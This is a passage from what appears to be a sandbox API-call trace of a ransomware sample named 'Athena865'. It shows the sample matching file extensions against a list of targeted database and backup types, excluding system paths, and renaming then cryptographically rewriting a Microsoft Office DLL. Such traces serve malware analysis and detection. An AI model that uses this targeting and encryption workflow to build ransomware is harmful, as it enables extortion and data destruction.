lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0084.618] lstrlenW (lpString="epim") returned 4 [0084.618] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0084.618] lstrlenW (lpString="fcd") returned 3 [0084.618] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0084.618] lstrlenW (lpString="fdb") returned 3 [0084.618] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0084.618] lstrlenW (lpString="fic") returned 3 [0084.618] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0084.618] lstrlenW (lpString="flexolibrary") returned 12 [0084.618] lstrlenW (lpString="fm5") returned 3 [0084.618] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0084.618] lstrlenW (lpString="fmp") returned 3 [0084.618] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0084.619] lstrlenW (lpString="fmp12") returned 5 [0084.619] lstrcmpiW (lpString1="B.DLL", lpString2="fmp12") returned -1 [0084.619] lstrlenW (lpString="fmpsl") returned 5 [0084.619] lstrcmpiW (lpString1="B.DLL", lpString2="fmpsl") returned -1 [0084.619] lstrlenW (lpString="fol") returned 3 [0084.619] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0084.619] lstrlenW (lpString="fp3") returned 3 [0084.619] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0084.619] lstrlenW (lpString="fp4") returned 3 [0084.619] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0084.619] lstrlenW (lpString="fp5") returned 3 [0084.619] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0084.619] lstrlenW (lpString="fp7") returned 3 [0084.619] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0084.619] lstrlenW (lpString="fpt") returned 3 [0084.619] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0084.619] lstrlenW (lpString="frm") returned 3 [0084.619] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0084.619] lstrlenW (lpString="gdb") returned 3 [0084.619] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0084.619] lstrlenW (lpString="gdb") returned 3 [0084.619] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0084.619] lstrlenW (lpString="grdb") returned 4 [0084.619] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0084.619] lstrlenW (lpString="gwi") returned 3 [0084.619] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0084.619] lstrlenW (lpString="hdb") returned 3 [0084.619] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0084.619] lstrlenW (lpString="his") returned 3 [0084.619] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0084.619] lstrlenW (lpString="ib") returned 2 [0084.619] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0084.619] lstrlenW (lpString="idb") returned 3 [0084.620] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0084.620] lstrlenW (lpString="ihx") returned 3 [0084.620] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0084.620] lstrlenW (lpString="itdb") returned 4 [0084.620] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0084.620] lstrlenW (lpString="itw") returned 3 [0084.620] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0084.620] lstrlenW (lpString="jet") returned 3 [0084.620] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0084.620] lstrlenW (lpString="jtx") returned 3 [0084.620] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0084.620] lstrlenW (lpString="kdb") returned 3 [0084.620] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0084.620] lstrlenW (lpString="kexi") returned 4 [0084.620] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0084.620] lstrlenW (lpString="kexic") returned 5 [0084.620] lstrcmpiW (lpString1="B.DLL", lpString2="kexic") returned -1 [0084.620] lstrlenW (lpString="kexis") returned 5 [0084.620] lstrcmpiW (lpString1="B.DLL", lpString2="kexis") returned -1 [0084.620] lstrlenW (lpString="lgc") returned 3 [0084.620] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0084.620] lstrlenW (lpString="lwx") returned 3 [0084.620] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0084.620] lstrlenW (lpString="maf") returned 3 [0084.620] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0084.620] lstrlenW (lpString="maq") returned 3 [0084.620] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0084.620] lstrlenW (lpString="mar") returned 3 [0084.620] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0084.620] lstrlenW (lpString="marshal") returned 7 [0084.620] lstrcmpiW (lpString1="WEB.DLL", lpString2="marshal") returned 1 [0084.620] lstrlenW (lpString="mas") returned 3 [0084.620] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0084.621] lstrlenW (lpString="mav") returned 3 [0084.621] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0084.621] lstrlenW (lpString="maw") returned 3 [0084.621] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0084.621] lstrlenW (lpString="mdbhtml") returned 7 [0084.621] lstrcmpiW (lpString1="WEB.DLL", lpString2="mdbhtml") returned 1 [0084.621] lstrlenW (lpString="mdn") returned 3 [0084.621] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0084.621] lstrlenW (lpString="mdt") returned 3 [0084.621] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0084.621] lstrlenW (lpString="mfd") returned 3 [0084.621] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0084.621] lstrlenW (lpString="mpd") returned 3 [0084.621] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0084.621] lstrlenW (lpString="mrg") returned 3 [0084.621] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0084.621] lstrlenW (lpString="mud") returned 3 [0084.621] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0084.621] lstrlenW (lpString="mwb") returned 3 [0084.621] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0084.621] lstrlenW (lpString="myd") returned 3 [0084.621] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0084.621] lstrlenW (lpString="ndf") returned 3 [0084.621] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0084.621] lstrlenW (lpString="nnt") returned 3 [0084.621] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0084.621] lstrlenW (lpString="nrmlib") returned 6 [0084.621] lstrcmpiW (lpString1="EB.DLL", lpString2="nrmlib") returned -1 [0084.621] lstrlenW (lpString="ns2") returned 3 [0084.621] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0084.621] lstrlenW (lpString="ns3") returned 3 [0084.621] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0084.621] lstrlenW (lpString="ns4") returned 3 [0084.621] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0084.622] lstrlenW (lpString="nsf") returned 3 [0084.622] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0084.622] lstrlenW (lpString="nv") returned 2 [0084.622] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0084.622] lstrlenW (lpString="nv2") returned 3 [0084.622] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0084.622] lstrlenW (lpString="nwdb") returned 4 [0084.622] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0084.622] lstrlenW (lpString="nyf") returned 3 [0084.622] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0084.622] lstrlenW (lpString="odb") returned 3 [0084.622] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0084.622] lstrlenW (lpString="odb") returned 3 [0084.622] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0084.622] lstrlenW (lpString="oqy") returned 3 [0084.622] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0084.622] lstrlenW (lpString="ora") returned 3 [0084.622] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0084.622] lstrlenW (lpString="orx") returned 3 [0084.622] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0084.622] lstrlenW (lpString="owc") returned 3 [0084.622] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0084.622] lstrlenW (lpString="p96") returned 3 [0084.622] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0084.622] lstrlenW (lpString="p97") returned 3 [0084.622] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0084.622] lstrlenW (lpString="pan") returned 3 [0084.622] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0084.622] lstrlenW (lpString="pdb") returned 3 [0084.622] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0084.622] lstrlenW (lpString="pdm") returned 3 [0084.622] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0084.623] lstrlenW (lpString="pnz") returned 3 [0084.623] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0084.623] lstrlenW (lpString="qry") returned 3 [0084.623] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0084.623] lstrlenW (lpString="qvd") returned 3 [0084.623] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0084.623] lstrlenW (lpString="rbf") returned 3 [0084.623] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0084.623] lstrlenW (lpString="rctd") returned 4 [0084.623] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0084.623] lstrlenW (lpString="rod") returned 3 [0084.623] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0084.623] lstrlenW (lpString="rodx") returned 4 [0084.623] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0084.623] lstrlenW (lpString="rpd") returned 3 [0084.623] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0084.623] lstrlenW (lpString="rsd") returned 3 [0084.623] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0084.623] lstrlenW (lpString="sas7bdat") returned 8 [0084.623] lstrcmpiW (lpString1="SWEB.DLL", lpString2="sas7bdat") returned 1 [0084.623] lstrlenW (lpString="sbf") returned 3 [0084.623] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0084.623] lstrlenW (lpString="scx") returned 3 [0084.623] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0084.623] lstrlenW (lpString="sdb") returned 3 [0084.623] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0084.623] lstrlenW (lpString="sdc") returned 3 [0084.623] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0084.623] lstrlenW (lpString="sdf") returned 3 [0084.623] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0084.623] lstrlenW (lpString="sis") returned 3 [0084.623] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0084.623] lstrlenW (lpString="spq") returned 3 [0084.624] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0084.624] lstrlenW (lpString="te") returned 2 [0084.624] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0084.624] lstrlenW (lpString="teacher") returned 7 [0084.624] lstrcmpiW (lpString1="WEB.DLL", lpString2="teacher") returned 1 [0084.624] lstrlenW (lpString="tmd") returned 3 [0084.624] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0084.624] lstrlenW (lpString="tps") returned 3 [0084.624] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0084.624] lstrlenW (lpString="trc") returned 3 [0084.624] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0084.624] lstrlenW (lpString="trc") returned 3 [0084.624] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0084.624] lstrlenW (lpString="trm") returned 3 [0084.624] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0084.624] lstrlenW (lpString="udb") returned 3 [0084.624] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0084.624] lstrlenW (lpString="udl") returned 3 [0084.624] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0084.624] lstrlenW (lpString="usr") returned 3 [0084.624] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0084.624] lstrlenW (lpString="v12") returned 3 [0084.624] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0084.624] lstrlenW (lpString="vis") returned 3 [0084.624] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0084.624] lstrlenW (lpString="vpd") returned 3 [0084.624] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0084.624] lstrlenW (lpString="vvv") returned 3 [0084.624] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0084.624] lstrlenW (lpString="wdb") returned 3 [0084.624] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0084.624] lstrlenW (lpString="wmdb") returned 4 [0084.625] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0084.625] lstrlenW (lpString="wrk") returned 3 [0084.625] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0084.625] lstrlenW (lpString="xdb") returned 3 [0084.625] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0084.625] lstrlenW (lpString="xld") returned 3 [0084.625] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0084.625] lstrlenW (lpString="xmlff") returned 5 [0084.625] lstrcmpiW (lpString1="B.DLL", lpString2="xmlff") returned -1 [0084.625] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SAVASWEB.DLL.Athena865") returned 65 [0084.625] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVASWEB.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\savasweb.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVASWEB.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\savasweb.dll.athena865"), dwFlags=0x1) returned 1 [0084.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVASWEB.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\savasweb.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0084.627] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=588136) returned 1 [0084.627] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.627] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.627] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.627] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.628] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.628] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.628] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8fc70, lpName=0x0) returned 0x17c [0084.630] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8fc70) returned 0x2d50000 [0084.656] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.657] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.657] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.657] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.657] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.657] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.657] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.657] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.658] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0084.663] CloseHandle (hObject=0x17c) returned 1 [0084.663] CloseHandle (hObject=0x154) returned 1 [0084.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.666] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd664fb80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x27ba0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SAVWBHF.DLL", cAlternateFileName="")) returned 1 [0084.666] lstrcmpiW (lpString1="SAVWBHF.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.666] lstrcmpiW (lpString1="SAVWBHF.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.666] lstrcmpiW (lpString1="SAVWBHF.DLL", lpString2=".") returned 1 [0084.666] lstrcmpiW (lpString1="SAVWBHF.DLL", lpString2="..") returned 1 [0084.666] lstrcmpiW (lpString1="SAVWBHF.DLL", lpString2="windows") returned -1 [0084.666] lstrcmpiW (lpString1="SAVWBHF.DLL", lpString2="bootmgr") returned 1 [0084.666] lstrcmpiW (lpString1="SAVWBHF.DLL", lpString2="temp") returned -1 [0084.666] lstrcmpiW (lpString1="SAVWBHF.DLL", lpString2="pagefile.sys") returned 1 [0084.666] lstrcmpiW (lpString1="SAVWBHF.DLL", lpString2="boot") returned 1 [0084.666] lstrcmpiW (lpString1="SAVWBHF.DLL", lpString2="ids.txt") returned 1 [0084.666] lstrcmpiW (lpString1="SAVWBHF.DLL", lpString2="ntuser.dat") returned 1 [0084.666] lstrcmpiW (lpString1="SAVWBHF.DLL", lpString2="perflogs") returned 1 [0084.666] lstrcmpiW (lpString1="SAVWBHF.DLL", lpString2="MSBuild") returned 1 [0084.666] lstrlenW (lpString="SAVWBHF.DLL") returned 11 [0084.666] lstrcpyW (in: lpString1=0x241e89e, lpString2="SAVWBHF.DLL" | out: lpString1="SAVWBHF.DLL") returned="SAVWBHF.DLL" [0084.666] lstrlenW (lpString="SAVWBHF.DLL") returned 11 [0084.666] lstrlenW (lpString="Athena865") returned 9 [0084.666] lstrcmpiW (lpString1="VWBHF.DLL", lpString2="Athena865") returned 1 [0084.666] lstrlenW (lpString=".dll") returned 4 [0084.666] lstrcmpiW (lpString1="SAVWBHF.DLL", lpString2=".dll") returned 1 [0084.666] lstrlenW (lpString=".lnk") returned 4 [0084.666] lstrcmpiW (lpString1="SAVWBHF.DLL", lpString2=".lnk") returned 1 [0084.667] lstrlenW (lpString=".ini") returned 4 [0084.667] lstrcmpiW (lpString1="SAVWBHF.DLL", lpString2=".ini") returned 1 [0084.667] lstrlenW (lpString=".sys") returned 4 [0084.667] lstrcmpiW (lpString1="SAVWBHF.DLL", lpString2=".sys") returned 1 [0084.667] lstrlenW (lpString="SAVWBHF.DLL") returned 11 [0084.667] lstrlenW (lpString="bak") returned 3 [0084.667] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0084.667] lstrlenW (lpString="ba_") returned 3 [0084.667] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0084.667] lstrlenW (lpString="dbb") returned 3 [0084.667] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0084.667] lstrlenW (lpString="vmdk") returned 4 [0084.667] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0084.667] lstrlenW (lpString="rar") returned 3 [0084.667] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0084.667] lstrlenW (lpString="zip") returned 3 [0084.667] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0084.667] lstrlenW (lpString="tgz") returned 3 [0084.667] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0084.667] lstrlenW (lpString="vbox") returned 4 [0084.667] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0084.667] lstrlenW (lpString="vdi") returned 3 [0084.667] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0084.667] lstrlenW (lpString="vhd") returned 3 [0084.667] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0084.667] lstrlenW (lpString="vhdx") returned 4 [0084.667] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0084.667] lstrlenW (lpString="avhd") returned 4 [0084.667] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0084.667] lstrlenW (lpString="db") returned 2 [0084.667] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0084.668] lstrlenW (lpString="db2") returned 3 [0084.668] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0084.668] lstrlenW (lpString="db3") returned 3 [0084.668] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0084.668] lstrlenW (lpString="dbf") returned 3 [0084.668] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0084.668] lstrlenW (lpString="mdf") returned 3 [0084.668] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0084.668] lstrlenW (lpString="mdb") returned 3 [0084.668] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0084.668] lstrlenW (lpString="sql") returned 3 [0084.668] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0084.668] lstrlenW (lpString="sqlite") returned 6 [0084.668] lstrcmpiW (lpString1="HF.DLL", lpString2="sqlite") returned -1 [0084.668] lstrlenW (lpString="sqlite3") returned 7 [0084.668] lstrcmpiW (lpString1="BHF.DLL", lpString2="sqlite3") returned -1 [0084.668] lstrlenW (lpString="sqlitedb") returned 8 [0084.668] lstrcmpiW (lpString1="WBHF.DLL", lpString2="sqlitedb") returned 1 [0084.668] lstrlenW (lpString="xml") returned 3 [0084.668] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0084.668] lstrlenW (lpString="$er") returned 3 [0084.668] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0084.668] lstrlenW (lpString="4dd") returned 3 [0084.668] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0084.668] lstrlenW (lpString="4dl") returned 3 [0084.668] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0084.668] lstrlenW (lpString="^^^") returned 3 [0084.668] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0084.668] lstrlenW (lpString="abs") returned 3 [0084.668] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0084.669] lstrlenW (lpString="abx") returned 3 [0084.669] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0084.669] lstrlenW (lpString="accdb") returned 5 [0084.669] lstrcmpiW (lpString1="F.DLL", lpString2="accdb") returned 1 [0084.669] lstrlenW (lpString="accdc") returned 5 [0084.669] lstrcmpiW (lpString1="F.DLL", lpString2="accdc") returned 1 [0084.669] lstrlenW (lpString="accde") returned 5 [0084.669] lstrcmpiW (lpString1="F.DLL", lpString2="accde") returned 1 [0084.669] lstrlenW (lpString="accdr") returned 5 [0084.669] lstrcmpiW (lpString1="F.DLL", lpString2="accdr") returned 1 [0084.669] lstrlenW (lpString="accdt") returned 5 [0084.669] lstrcmpiW (lpString1="F.DLL", lpString2="accdt") returned 1 [0084.669] lstrlenW (lpString="accdw") returned 5 [0084.669] lstrcmpiW (lpString1="F.DLL", lpString2="accdw") returned 1 [0084.669] lstrlenW (lpString="accft") returned 5 [0084.669] lstrcmpiW (lpString1="F.DLL", lpString2="accft") returned 1 [0084.669] lstrlenW (lpString="adb") returned 3 [0084.669] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.669] lstrlenW (lpString="adb") returned 3 [0084.669] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.669] lstrlenW (lpString="ade") returned 3 [0084.669] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0084.669] lstrlenW (lpString="adf") returned 3 [0084.669] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0084.669] lstrlenW (lpString="adn") returned 3 [0084.669] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0084.669] lstrlenW (lpString="adp") returned 3 [0084.670] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0084.670] lstrlenW (lpString="alf") returned 3 [0084.670] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0084.670] lstrlenW (lpString="ask") returned 3 [0084.670] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0084.670] lstrlenW (lpString="btr") returned 3 [0084.670] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0084.670] lstrlenW (lpString="cat") returned 3 [0084.670] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0084.670] lstrlenW (lpString="cdb") returned 3 [0084.670] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0084.670] lstrlenW (lpString="ckp") returned 3 [0084.670] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0084.670] lstrlenW (lpString="cma") returned 3 [0084.670] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0084.670] lstrlenW (lpString="cpd") returned 3 [0084.670] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0084.670] lstrlenW (lpString="dacpac") returned 6 [0084.670] lstrcmpiW (lpString1="HF.DLL", lpString2="dacpac") returned 1 [0084.670] lstrlenW (lpString="dad") returned 3 [0084.670] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0084.670] lstrlenW (lpString="dadiagrams") returned 10 [0084.670] lstrcmpiW (lpString1="AVWBHF.DLL", lpString2="dadiagrams") returned -1 [0084.670] lstrlenW (lpString="daschema") returned 8 [0084.670] lstrcmpiW (lpString1="WBHF.DLL", lpString2="daschema") returned 1 [0084.671] lstrlenW (lpString="db-journal") returned 10 [0084.671] lstrcmpiW (lpString1="AVWBHF.DLL", lpString2="db-journal") returned -1 [0084.671] lstrlenW (lpString="db-shm") returned 6 [0084.671] lstrcmpiW (lpString1="HF.DLL", lpString2="db-shm") returned 1 [0084.671] lstrlenW (lpString="db-wal") returned 6 [0084.671] lstrcmpiW (lpString1="HF.DLL", lpString2="db-wal") returned 1 [0084.671] lstrlenW (lpString="dbc") returned 3 [0084.671] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0084.671] lstrlenW (lpString="dbs") returned 3 [0084.671] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0084.671] lstrlenW (lpString="dbt") returned 3 [0084.671] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0084.671] lstrlenW (lpString="dbv") returned 3 [0084.671] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0084.671] lstrlenW (lpString="dbx") returned 3 [0084.671] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0084.671] lstrlenW (lpString="dcb") returned 3 [0084.671] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0084.671] lstrlenW (lpString="dct") returned 3 [0084.671] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0084.671] lstrlenW (lpString="dcx") returned 3 [0084.671] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0084.671] lstrlenW (lpString="ddl") returned 3 [0084.671] lstrcmpiW (lpString1="DLL", 